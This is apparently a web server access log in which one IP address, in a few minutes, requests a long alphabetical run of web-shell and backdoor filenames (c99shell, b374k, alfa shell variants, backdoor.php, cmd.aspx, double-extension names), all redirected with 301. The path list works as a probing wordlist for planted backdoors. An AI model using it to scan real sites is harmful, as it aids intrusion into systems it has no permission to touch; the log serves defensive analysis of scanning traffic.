18.170.53.175 - - [23/Sep/2025:14:46:38 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:14:46:45 -0400] "GET /Wif.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:47:37 -0400] "GET /Xboy.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:47:42 -0400] "GET /Xgans.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:47:46 -0400] "GET /Xganz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:07 -0400] "GET /Xyz1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:09 -0400] "GET /Yoo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:13 -0400] "GET /Z9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:15 -0400] "GET /ZX911.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:17 -0400] "GET /Zeep.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:21 -0400] "GET /Zeus.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:24 -0400] "GET /ZivKais.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:25 -0400] "GET /Zsss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:29 -0400] "GET /Zzz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:36 -0400] "GET /_-.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:47 -0400] "GET /_Error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:48:59 -0400] "GET /a.php.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:04 -0400] "GET /a3bypas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:13 -0400] "GET /aL.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:20 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:21 -0400] "GET /aa.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:40 -0400] "GET /aci.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:41 -0400] "GET /activec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:47 -0400] "GET /ade.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:49 -0400] "GET /adfinder.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:52 -0400] "GET /adipati.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:54 -0400] "GET /adm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:56 -0400] "GET /admin1.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:49:59 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:50:18 -0400] "GET /ahay.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:50:23 -0400] "GET /aimzsjolkq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:50:27 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:50:33 -0400] "GET /ajax.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:50:38 -0400] "GET /ajeb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:50:42 -0400] "GET /ak47shell%20(1).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:50:50 -0400] "GET /ak74.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:07 -0400] "GET /akses.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:11 -0400] "GET /aku-gak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:28 -0400] "GET /aku.php.js HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:36 -0400] "GET /akugtg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:40 -0400] "GET /akushell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:43 -0400] "GET /ala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:48 -0400] "GET /alexus%20(1).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:53 -0400] "GET /alexus%20mailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:57 -0400] "GET /alexusMailer_v2.0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:00 -0400] "GET /alf672.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:04 -0400] "GET /alfa%20shell1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:08 -0400] "GET /alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:21 -0400] "GET /alfa3.0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:29 -0400] "GET /alfa6.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:34 -0400] "GET /alfaV4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:52 -0400] "GET /alfav3-encoded%20(2).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:04 -0400] "GET /alfax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:09 -0400] "GET /alfazera.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:21 -0400] "GET /alk0x.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:25 -0400] "GET /aloo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:29 -0400] "GET /alpha%20shell%20v4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:33 -0400] "GET /alpha.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:36 -0400] "GET /alpha1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:43 -0400] "GET /alpha777.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:49 -0400] "GET /alphaa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:52 -0400] "GET /alphakun.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:57 -0400] "GET /alphard.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:06 -0400] "GET /amer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:17 -0400] "GET /andrew.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:19 -0400] "GET /animate.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:21 -0400] "GET /anjiyo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:23 -0400] "GET /anoC.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:25 -0400] "GET /anoC.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:32 -0400] "GET /antboy1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:33 -0400] "GET /anu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:37 -0400] "GET /aofa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:38 -0400] "GET /apa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:40 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:43 -0400] "GET /appdata.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:48 -0400] "GET /arell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:51 -0400] "GET /argane.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:03 -0400] "GET /asasm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:07 -0400] "GET /asd@26889.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:10 -0400] "GET /ash.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:16 -0400] "GET /asoy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:18 -0400] "GET /asp.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:21 -0400] "GET /aspxshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:23 -0400] "GET /asse.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:25 -0400] "GET /astra.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:28 -0400] "GET /asuu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:03 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:17 -0400] "GET /aku.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:23 -0400] "GET /aku.php.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:51:32 -0400] "GET /akugansunang.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:11 -0400] "GET /alfa-v4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:17 -0400] "GET /alfa.php.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:26 -0400] "GET /alfa3c.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:37 -0400] "GET /alfaY.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:41 -0400] "GET /alfaa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:44 -0400] "GET /alfamek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:49 -0400] "GET /alfashell1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:55 -0400] "GET /alfav3-encoded.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:52:59 -0400] "GET /alfav3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:16 -0400] "GET /alif.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:53:39 -0400] "GET /alpha2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:02 -0400] "GET /alpine.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:10 -0400] "GET /amf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:13 -0400] "GET /amk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:15 -0400] "GET /amp1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:27 -0400] "GET /anoC.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:29 -0400] "GET /anoR.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:30 -0400] "GET /anonsecshellv2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:35 -0400] "GET /anubiskun.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:41 -0400] "GET /apis.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:45 -0400] "GET /aran.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:46 -0400] "GET /ardika.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:50 -0400] "GET /arg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:53 -0400] "GET /argazz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:55 -0400] "GET /arjunku.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:54:57 -0400] "GET /armized.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:00 -0400] "GET /ars.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:01 -0400] "GET /aryaagans.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:05 -0400] "GET /asat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:08 -0400] "GET /asede.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:12 -0400] "GET /ashu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:13 -0400] "GET /asmar.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:20 -0400] "GET /aspx.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:27 -0400] "GET /asucok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:32 -0400] "GET /atl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:39 -0400] "GET /aup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:41 -0400] "GET /auth.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:45 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:53 -0400] "GET /awscv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:55 -0400] "GET /awwman.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:56 -0400] "GET /axshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:30 -0400] "GET /asw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:34 -0400] "GET /atmin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:35 -0400] "GET /attackershell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:38 -0400] "GET /aul.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:44 -0400] "GET /avatar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:47 -0400] "GET /awe3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:49 -0400] "GET /awk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:51 -0400] "GET /aws.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:55:58 -0400] "GET /az.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:00 -0400] "GET /azkaa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:02 -0400] "GET /azo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:03 -0400] "GET /b.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:06 -0400] "GET /b045hell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:11 -0400] "GET /b374k-3.2.3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:12 -0400] "GET /b374k_3.2.3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:15 -0400] "GET /b374kmini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:16 -0400] "GET /b403.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:22 -0400] "GET /backdardor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:32 -0400] "GET /badboyshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:34 -0400] "GET /bali.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:36 -0400] "GET /batman.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:37 -0400] "GET /bbh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:41 -0400] "GET /bbyyppaass.php2 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:42 -0400] "GET /bd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:43 -0400] "GET /bdk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:45 -0400] "GET /be.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:48 -0400] "GET /bep.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:50 -0400] "GET /bepas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:55 -0400] "GET /best.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:57 -0400] "GET /bhh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:06 -0400] "GET /bidk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:14 -0400] "GET /bjirut.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:21 -0400] "GET /blackjackf.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:29 -0400] "GET /bloodsecv4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:35 -0400] "GET /bob.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:36 -0400] "GET /bobacot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:41 -0400] "GET /bocilL.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:54 -0400] "GET /boy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:59 -0400] "GET /brave.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:01 -0400] "GET /bravo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:03 -0400] "GET /briliant.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:04 -0400] "GET /bro.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:05 -0400] "GET /brother.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:10 -0400] "GET /bskh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:13 -0400] "GET /bucin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:08 -0400] "GET /b0y.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:18 -0400] "GET /baan.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:20 -0400] "GET /baca.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:23 -0400] "GET /backdoor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:25 -0400] "GET /backdoor12.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:27 -0400] "GET /backdor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:29 -0400] "GET /bacot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:30 -0400] "GET /bad.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:33 -0400] "GET /badut.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:35 -0400] "GET /batak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:39 -0400] "GET /bby.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:47 -0400] "GET /beb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:52 -0400] "GET /berak-.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:53 -0400] "GET /berantakan2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:56:59 -0400] "GET /bhocil69.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:01 -0400] "GET /bi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:04 -0400] "GET /bibi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:07 -0400] "GET /birbirisikmelimi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:09 -0400] "GET /bircfozrqp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:11 -0400] "GET /bismillah.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:12 -0400] "GET /bismillah.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:16 -0400] "GET /bl4ck-se4-ransome.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:17 -0400] "GET /blackhell1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:19 -0400] "GET /blackjacj.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:23 -0400] "GET /blackmamba.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:26 -0400] "GET /blackmamba.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:28 -0400] "GET /blogger.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:31 -0400] "GET /bo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:33 -0400] "GET /board_list2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:39 -0400] "GET /bobo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:43 -0400] "GET /boka.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:45 -0400] "GET /bom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:47 -0400] "GET /bomb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:49 -0400] "GET /boom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:51 -0400] "GET /bos.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:53 -0400] "GET /bot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:57:56 -0400] "GET /bpytccghmq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:06 -0400] "GET /brr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:09 -0400] "GET /bsdk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:12 -0400] "GET /buatlusemuangentod.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:16 -0400] "GET /budiniah.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:20 -0400] "GET /buku.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:21 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:25 -0400] "GET /bypas.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:29 -0400] "GET /byps.403.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:18 -0400] "GET /bukan.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:23 -0400] "GET /by403.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:27 -0400] "GET /bypass3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:32 -0400] "GET /c0k.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:37 -0400] "GET /c448.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:39 -0400] "GET /c99.php.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:41 -0400] "GET /c99shell.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:42 -0400] "GET /c99shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:45 -0400] "GET /c9sell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:54 -0400] "GET /cat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:56 -0400] "GET /catlinode.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:57 -0400] "GET /caty.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:00 -0400] "GET /cavdar.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:08 -0400] "GET /chr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:12 -0400] "GET /cinta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:15 -0400] "GET /class-kertas-ai-settings.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:21 -0400] "GET /class_curl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:25 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:28 -0400] "GET /cmd.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:30 -0400] "GET /coba.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:34 -0400] "GET /coco.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:37 -0400] "GET /cokk.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:39 -0400] "GET /colmobin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:42 -0400] "GET /commen.php HTTP/1.1" 301 795 "-" "-"
